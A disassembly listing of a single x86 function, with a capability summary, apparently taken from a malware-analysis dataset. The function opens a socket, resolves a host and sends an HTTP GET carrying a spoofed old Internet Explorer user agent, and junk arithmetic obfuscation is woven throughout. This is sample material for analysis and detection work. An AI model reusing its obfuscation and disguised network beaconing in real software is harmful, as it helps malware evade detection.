Function at 0x4028b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x29c
mov eax, dword [0x442230]
mov ecx, dword [0x4410bc]
mov dword [esp + 0x298], eax
mov eax, 0x61f4f3e1
imul ecx
mov ecx, dword [0x4410b8]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
push esi
mov esi, eax
mov eax, 0xa0c15
cdq
idiv ecx
push edi
push 0
push 1
push 2
mov edi, eax
mov eax, 0x1984ece9
imul ecx
sar edx, 0x10
mov ecx, edx
sub edi, esi
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [str._r_____r____], ecx
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [0x4410d0]
mov esi, dword [0x4410b4]
mov ebx, eax
imul esi, esi, 0x53a0f
mov eax, 0x3307af59
imul ecx
mov ecx, dword [0x4410b8]
sar edx, 0x11
add esi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0xff4b
shr eax, 0x1f
add eax, esi
sub eax, edx
cmp ebx, 0xffffffff
mov dword [0x4410b4], eax
jne 0x40296e
pop edi
pop esi
or eax, ebx
pop ebx
mov ecx, dword [esp + 0x298]
call fcn.00419f5d
add esp, 0x29c
ret
mov edx, dword [0x4410c8]
imul ecx, ecx, 0xd454
mov eax, 0x61f4f3e1
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4410c0]
imul edx, edx, 0xa081a
sub ecx, eax
mov eax, dword [esp + 0x2ac]
sub ecx, edx
push eax
mov dword [0x4410b8], ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x402a16
mov ecx, dword [str._r_____r____]
mov eax, 0x197ad0b7
imul ecx
mov ecx, dword [0x4410cc]
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, ecx
imul edx, edx, 0xa0887
add esi, edx
mov eax, 0x40499437
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push ebx
mov dword [0x4410cc], eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x298]
call fcn.00419f5d
add esp, 0x29c
ret
mov esi, dword [0x4410d0]
mov eax, 0xccf850a7
imul esi
sar edx, 0x11
mov ecx, edx
push ebp
mov ebp, dword [0x4410c4]
imul ebp, ebp, 0x3bf27
shr ecx, 0x1f
add ecx, edx
sub ecx, ebp
mov ebp, dword [str._r_____r____]
mov edx, ebp
imul edx, edx, 0x181cd
add ecx, edx
mov dword [0x4410bc], ecx
mov eax, dword [edi + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
mov edi, dword [0x4410b4]
mov dword [esp + 0x14], eax
mov eax, 0x88a76c3f
imul edi
add edx, edi
sar edx, 0x11
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x4410cc]
mov eax, 0x197ad0b7
imul edx
sar edx, 0x10
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x3307af59
imul ebp
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
xor edx, edx
sub edi, eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], edx
mov eax, 0x61f4f3e1
imul esi
sar edx, 0x11
mov dword [0x4410c0], edi
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
mov ecx, edx
add edi, edx
mov eax, 0x1984ece9
imul esi
mov esi, dword [esp + 0x2b4]
shr ecx, 0x1f
sar edx, 0x10
add ecx, edi
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
push esi
mov word [esp + 0x1c], 2
mov dword [0x4410c4], eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esp + 0x14]
mov word [esp + 0x1a], ax
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ecx
add edx, ecx
mov ecx, dword [0x4410c0]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebp, ecx
mov ecx, dword [0x4410d4]
mov eax, 0x402d6015
imul ecx
sar edx, 0xe
mov eax, edx
push 0x10
sub ebp, edi
lea ecx, [esp + 0x1c]
shr eax, 0x1f
add ebp, edx
push ecx
add eax, ebp
push ebx
mov dword [0x4410c8], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x402e11
mov ecx, dword [0x4410c8]
mov eax, 0x3307af59
imul ecx
imul ecx, ecx, 0xff4b
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4410c4]
mov edi, eax
mov eax, 0x1984ece9
imul edx
sar edx, 0x10
mov ebp, dword [0x4410c0]
mov eax, edx
imul ebp, ebp, 0x53a0f
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
xor eax, eax
mov dword [0x4410d0], edi
mov byte [esp + 0x28], 0
mov ecx, 0x1f
lea edi, [esp + 0x29]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [0x4410bc]
mov ecx, edi
imul ecx, ecx, 0xa0c15
sub ebp, ecx
mov ecx, dword [0x4410b4]
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
cmp esi, 0x50
mov dword [0x4410d4], eax
je 0x402c36
mov ecx, dword [esp + 0x2b0]
push esi
push ecx
lea edx, [esp + 0x30]
push str.HOST:_s:_d
push edx
call fcn.00419fad
add esp, 0x10
jmp 0x402c8e
mov ecx, dword [0x4410b8]
mov eax, 0x61f4f3e1
imul edi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xa0c15
cdq
idiv ecx
mov edi, eax
mov eax, 0x1984ece9
imul ecx
sar edx, 0x10
sub edi, esi
mov ecx, edx
add edi, edx
mov edx, dword [esp + 0x2b0]
push edx
shr ecx, 0x1f
lea eax, [esp + 0x2c]
add ecx, edi
push str.HOST:_s
push eax
mov dword [str._r_____r____], ecx
call fcn.00419fad
add esp, 0xc
mov ecx, dword [0x4410d0]
mov esi, dword [0x4410b4]
mov eax, 0x3307af59
imul esi, esi, 0x53a0f
imul ecx
sar edx, 0x11
mov ecx, edx
add esi, edx
mov edx, dword [0x4410b8]
imul edx, edx, 0xff4b
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
mov edx, dword [esp + 0x2b0]
lea eax, [esp + 0x28]
push eax
mov dword [0x4410b4], ecx
mov ecx, dword [esp + 0x2bc]
push ecx
push edx
lea eax, [esp + 0xb4]
push str.GET_http:___s_s_HTTP_1.1_r_nAccept_Language:zh_cn_r_nAccept_Encoding:_gzip__deflate_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__.NET_CLR_1.1.4322__.NET_CLR_2.0.50727__r_n_s_r_nConnection:_Keep_Alive_r_n_r_n
push eax
call fcn.00419fad
mov ecx, dword [0x4410c8]
mov esi, dword [0x4410b8]
mov eax, 0x61f4f3e1
imul esi, esi, 0xd454
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4410c0]
imul edx, edx, 0xa081a
sub esi, ecx
add esp, 0x14
sub esi, edx
lea eax, [esp + 0xa8]
mov dword [0x4410b8], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402d34
push 0
sub eax, edx
push eax
lea eax, [esp + 0xb0]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
mov ecx, dword [0x4410d0]
push ebx
jne 0x402db0
mov esi, dword [0x4410c4]
mov eax, 0xccf850a7
imul esi, esi, 0x3bf27
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x181cd
sub ecx, esi
add ecx, edx
mov dword [0x4410bc], ecx
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebp
pop edi
pop esi
mov eax, 0xfffffffd
pop ebx
mov ecx, dword [esp + 0x298]
call fcn.00419f5d
add esp, 0x29c
ret
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x4410bc]
mov eax, 0x3307af59
imul edx
sar edx, 0x11
mov edi, edx
add esi, edx
mov eax, 0x1984ece9
imul ecx
sar edx, 0x10
shr edi, 0x1f
mov eax, edx
add edi, esi
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x4410c4], eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x298]
call fcn.00419f5d
add esp, 0x29c
ret
mov ecx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ecx
add edx, ecx
mov ecx, dword [0x4410cc]
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x197ad0b7
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
mov edi, edx
add esi, edx
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
mov ecx, edx
shr edi, 0x1f
shr ecx, 0x1f
add ecx, edx
add edi, esi
sub edi, ecx
push ebx
mov dword [0x4410c0], edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x2a8]
pop ebp
pop edi
pop esi
mov eax, 0xfffffffc
pop ebx
call fcn.00419f5d
add esp, 0x29c
ret